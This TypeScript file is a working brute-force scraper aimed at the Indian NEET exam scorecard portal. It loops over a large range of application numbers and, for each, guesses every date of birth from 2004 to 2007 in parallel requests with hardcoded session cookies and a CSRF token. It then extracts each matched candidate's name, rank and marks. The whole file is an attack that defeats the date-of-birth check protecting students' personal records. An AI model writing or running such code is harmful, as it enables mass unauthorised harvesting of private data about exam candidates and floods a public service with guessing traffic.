index.ts

import axios from 'axios'; 
import qs from 'qs';
import cheerio from 'cheerio';

async function solve(applicationNumber: string, day: string, month: string, year: string) {

  let data = qs.stringify({
    '_csrf-frontend': 'B87_gsVSET-A0bjKlY4cSyJbzJVuPZOdlkyBn48B_YRUvsvWpmJlS7GB6Jza5kV4e2qp2gNI6tjxeequuHvMzQ==',
    'Scorecardmodel[ApplicationNumber]': applicationNumber,
    'Scorecardmodel[Day]': day,
    'Scorecardmodel[Month]': month,
    'Scorecardmodel[Year]': year
  });
  
  let config = {
    method: 'post',
    maxBodyLength: Infinity,
    url: 'https://neet.ntaonline.in/frontend/web/scorecard/index',
    headers: { 
      'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7', 
      'Accept-Language': 'en-GB,en-US;q=0.9,en;q=0.8', 
      'Cache-Control': 'max-age=0', 
      'Connection': 'keep-alive', 
      'Content-Type': 'application/x-www-form-urlencoded', 
      'Cookie': 'advanced-frontend=lsv6jcctueu8r89vd25t2i1mr8; _csrf-frontend=3dc15392e694749451ce9f2e024ba1ce5f751774ff6cb661e3b427f8e6bc0681a%3A2%3A%7Bi%3A0%3Bs%3A14%3A%22_csrf-frontend%22%3Bi%3A1%3Bs%3A32%3A%22Sp4Tc0tt1PPVOhY3Y1eOmuyEg5k17z1I%22%3B%7D', 
      'Origin': 'null', 
      'Sec-Fetch-Dest': 'document', 
      'Sec-Fetch-Mode': 'navigate', 
      'Sec-Fetch-Site': 'same-origin', 
      'Sec-Fetch-User': '?1', 
      'Upgrade-Insecure-Requests': '1', 
      'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36', 
      'sec-ch-ua': '"Google Chrome";v="125", "Chromium";v="125", "Not.A/Brand";v="24"', 
      'sec-ch-ua-mobile': '?0', 
      'sec-ch-ua-platform': '"macOS"'
    },
    data : data
  };
  
  try {
    const response = await axios.request(config)
    const parsedData = parseHtml(JSON.stringify(response.data));
    return parsedData;
  } catch(e) {
    return null;
  }
}

function parseHtml(htmlContent: string) {
    const $ = cheerio.load(htmlContent);

    const applicationNumber = $('td:contains("Application No.")').next('td').text().trim() || 'N/A';

    const candidateName = $('td:contains("Candidate’s Name")').next().text().trim() || 'N/A';
    
    const allIndiaRank = $('td:contains("NEET All India Rank")').next('td').text().trim() || 'N/A';

    const marks = $('td:contains("Total Marks Obtained (out of 720)")').first().next('td').text().trim() || 'N/A';

    if (allIndiaRank === 'N/A') {
        return null;
    }

    return {
        applicationNumber,
        candidateName,
        allIndiaRank,
        marks
    }
}

async function main(rollNumber: string) {
    let solved = false;
    for (let year = 2007; year >= 2004; year--) {
        if (solved) {
            break;
        }
        for (let month = 1; month <= 12; month++)  {
            if (solved) {
                break;
            }
            // 2007, feburary
            const dataPromises = [];
            console.log("sending requests for month " + month + "of the year " + year);
            for (let day = 1; day <= 31; day++) {
                const dataPromise = solve(rollNumber, day.toString(), month.toString(), year.toString());
                dataPromises.push(dataPromise)
            }
            const resolvedData = await Promise.all(dataPromises);
            resolvedData.forEach(data => {
                if (data) {
                    console.log(data);
                    solved = true;
                }
            });
        }
    }
}

async function solveAllApplications() {

    for (let i = 240411345673; i < 240411999999; i++) {
        await main(i.toString());
    }
}

solveAllApplications();